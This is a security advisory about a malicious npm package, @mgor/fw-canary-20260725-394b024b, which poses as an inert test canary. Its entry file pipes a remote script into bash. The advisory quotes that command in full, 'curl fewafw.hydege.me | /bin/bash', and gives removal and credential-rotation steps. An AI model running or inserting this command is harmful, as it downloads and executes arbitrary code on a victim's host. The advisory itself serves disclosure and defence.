Advisory published Updated
@mgor/fw-canary-20260725-394b024b is a confirmed malicious npm package (MAL-2026-12321) that executes malicious code on install (malicious version 0.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @mgor/fw-canary-20260725-394b024b (npm)
What this malware does
index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.

If you installed it — respond
Remove @mgor/fw-canary-20260725-394b024b from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @mgor/fw-canary-20260725-394b024b was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
